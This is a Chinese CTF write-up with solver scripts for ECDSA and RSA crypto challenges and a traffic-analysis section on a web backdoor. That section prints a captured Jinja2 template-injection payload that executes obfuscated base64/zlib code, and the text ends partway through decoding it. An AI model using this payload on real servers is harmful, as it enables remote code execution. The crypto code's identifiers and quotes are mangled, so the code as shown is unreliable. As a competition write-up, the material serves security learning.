文章总结: 本文记录了第十九届全国大学生信息安全竞赛初赛WriteUp,重点解析了ECDSA和RSA_NestingDoll两道密码学题目。ECDSA题目通过固定字符串生成可预测私钥,利用SHA-512和MD5计算得到flag;RSA题目采用Pollardp-1分解算法处理嵌套模数,详细展示了因子分解和明文恢复过程。文档包含完整的Python代码实现和flag验证结果。 综合评分: 72 文章分类: CTF,密码学,WEB安全,漏洞分析,实战经验
第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up
赛查查
2026年4月10日 09:53 北京
在小说阅读器读本章
去阅读
以下文章来源于晴光随行 ,作者晴光随行
晴光随行 .
记录生活妙招、语文天地、课堂笔记及技术摘抄的个人内容分享。
队伍名称:VMw@r3
学校/单位名称:暨南大学
总分:631
理论知识总分:230
排名:923
密码学
ECDSA
源码第 9-11 行
digestint = int.frombytes(sha512(b”Welcome to this challenge!”).digest(), “big”) curveorder = NIST521p.order privint = digestint % curveorder
私钥priv_int并不是随机生成的,而是由固定字符串"Welcome to this challenge!"经过SHA-512哈希计算得到的。这意味着私钥是固定的、已知的。
exp:
import hashlib from ecdsa import NIST521p
— 第一步:计算私钥 —
1. 准备题目中的种子字符串
seed = b”Welcome to this challenge!”
2. 计算 SHA-512 哈希
digest_val = hashlib.sha512(seed).digest()
3. 转换为整数
digestint = int.frombytes(digest_val, “big”)
4. 获取 NIST521p 曲线的阶 (Order)
curve_order = NIST521p.order
5. 取模得到私钥 (d)
privint = digestint % curve_order
print(f”[+] 算出私钥 (十进制): {priv_int}”)
— 第二步:生成 Flag —
题目要求:flag{私钥的MD5值}
通常情况下,指的是私钥的“十进制字符串”的 MD5
privstr = str(privint) flagcontent = hashlib.md5(privstr.encode()).hexdigest()
print(f”[+] 最终 Flag: flag{{{flag_content}}}”)
FLAG:flag{581bdf717b780c3cd8282e5a4d50f3a0}
RSA_NestingDoll
import gmpy2 import sys from Crypto.Util.number import longtobytes
设置递归深度,防止递归分解时报错
sys.setrecursionlimit(2000)
================= 题目数据 =================
n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879 n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793 c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629 e = 65537
================= 1. 准备素数表 (关键修正) =================
print(“[*] Generating prime sieve…”)
题目中 factor = getPrime(20),最大可能到 2^20 (约104万)
必须覆盖这个范围,否则找不到因子!
limit = 1050000 primes = [] isprime = [True] * (limit + 1) for i in range(2, limit + 1): if isprime[i]: primes.append(i) for j in range(i * i, limit + 1, i): is_prime[j] = False print(f”[*] Found {len(primes)} primes up to {limit}.”)
================= 2. 稳健的 Pollard p-1 分解 =================
def findfactorpollardp1robust(N, primeslist): “”” 尝试从复合数 N 中分离出一个因子。 使用 n1 作为预乘指数,然后批量乘以小素数。 如果批量导致 GCD=N,则进行回溯和逐个检查。 “”” if gmpy2.isprime(N): return N
print(f”[*] Attempting to factor modulus of size {N.bit_length()} bits…”)
# 核心:利用 p-1 包含 n1 的因子的特性 # 先计算 base = 2^n1 mod N g = gmpy2.powmod(2, n1, N)
# 如果一开始就是 1,说明 n1 已经足够分解它了(不太可能,但如果是,说明 n1 是 lcm 的倍数) dinitial = gmpy2.gcd(g – 1, N) if 1 < dinitial < N: return dinitial if dinitial == N: # 极端情况:n1 直接让所有因子都变为 1 # 这时候需要减小指数,比如不用 n1,从 2 开始慢慢乘 print(“[!] n1 is too strong initially. Restarting with base 2.”) g = 2
block_size = 200 # 批量处理大小
for i in range(0, len(primeslist), blocksize): chunk = primeslist[i : i + blocksize]
# 计算当前批次的乘积指数 Echunk = 1 for p in chunk: Echunk *= p
# 尝试应用这个批次 newg = gmpy2.powmod(g, Echunk, N) d = gmpy2.gcd(new_g – 1, N)
if d == 1: # 还没找到,继续累积 g = new_g if i % 10000 == 0 and i > 0: print(f” Processed {i} primes…”)
elif 1 < d < N: # 成功找到因子! print(f”[+] Found factor! {d}”) return d
elif d == N: # 碰撞!这一批次太猛了,导致 g 变成了 1 (mod 所有因子) # 我们需要回退到 g (上一轮的状态),然后在这个 chunk 里逐个乘 print(f”[!] Collision detected at chunk {i}. Drilling down single primes…”)
# 使用旧的 g 逐个尝试 tempg = g for singlep in chunk: tempg = gmpy2.powmod(tempg, singlep, N) dsingle = gmpy2.gcd(tempg – 1, N) if 1 < dsingle < N: print(f”[+] Found factor during drill-down: {dsingle}”) return dsingle
# 如果跑完了还是 N (理论上不应该,除非上一步状态已经坏了),则无法挽救 print(“[-] Drill down failed. This shouldn’t happen if math holds.”) return N
return N # 没找到
主循环分解逻辑
factors_found = [] composites = [n]
while composites: curr_n = composites.pop(0)
# 尝试分解 currn factor = findfactorpollardp1robust(currn, primes)
if factor == currn: # 分解失败或它是素数 if gmpy2.isprime(currn): print(f”[+] Identified prime factor: {currn}”) factorsfound.append(currn) else: print(f”[-] Failed to decompose composite: {currn}”) # 如果这里失败了,说明素数表还不够大,或者结构特殊 # 对于这道题,1050000 limit 绝对够了 break else: # 成功分解,将两个因子放回队列继续处理 print(f”[+] Split successful. Adding parts to queue.”) composites.append(factor) composites.append(currn // factor)
# 如果我们已经找到了 4 个因子,检查是否都是素数 if len(factorsfound) + len(composites) == 4 and all(gmpy2.isprime(x) for x in composites): factors_found.extend(composites) break
print(f”\n[*] Total prime factors found: {len(factors_found)}”)
================= 3. 还原内层模数因子并解密 =================
if len(factorsfound) == 4: print(“[*] Recovering inner factors (p1, q1, r1, s1)…”) factorsn1 = []
for pouter in factorsfound: # p1 = GCD(p – 1, n1) p1 = gmpy2.gcd(pouter – 1, n1) if p1 > 1: factorsn1.append(p1) else: print(f”[-] Error recovering p1 from {p_outer}”)
if len(factorsn1) == 4: print(“[+] All inner factors recovered.”) # 计算 Phi(n1) phi = 1 for p in factorsn1: phi *= (p – 1)
# 计算私钥 d try: d = gmpy2.invert(e, phi) # 解密 m = gmpy2.powmod(c, d, n1) flagpadded = longto_bytes(m)
print(“\n” + “=”30) print(“[+] Decrypted Message:”) print(flagpadded) try: print(“[+] Flag:”, flagpadded.decode()) except: pass print(“=”30) except Exception as err: print(f”[-] Error during decryption: {err}”) else: print(“[-] Could not recover all 4 inner factors.”) else: print(“[-] Need exactly 4 factors of n to proceed.”)
flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}
流量分析
SnakeBackdoor-1
可以看到流量包从No.26042到No.28201一直在爆破密码。根据No.28402发生重定向到/admin/panel可知No.28397最后一次爆破成功,后台密码为zxcvbnm123
FLAG:flag{zxcvbnm123}
SnakeBackdoor-2
过滤器筛选
http contains “SECRET_KEY” 找到唯一包体,追踪http流,查找SECRET_KEY,在一堆html中找到SECRET_KEY的值:’SECRET_KEY’: ‘c6242af0-6891-4510-8432-e1cdf051
SnakeBackdoor-3
往下找到一个可疑Payload
{{urlfor.globals[‘builtins‘][‘exec’](“import base64; exec(base64.b64decode(‘XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==’))”, {‘request’:urlfor.globals[‘request’],’app’:getflashedmessages.globals[‘current_app’]})}}
发现这是一段远程加载并执行恶意代码,将其中的
XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==
使用Base64解码得到
_ = lambda __ : import(‘zlib’).decompress(import(‘base64’).b64decode(_[::-1])); exec(()(b’=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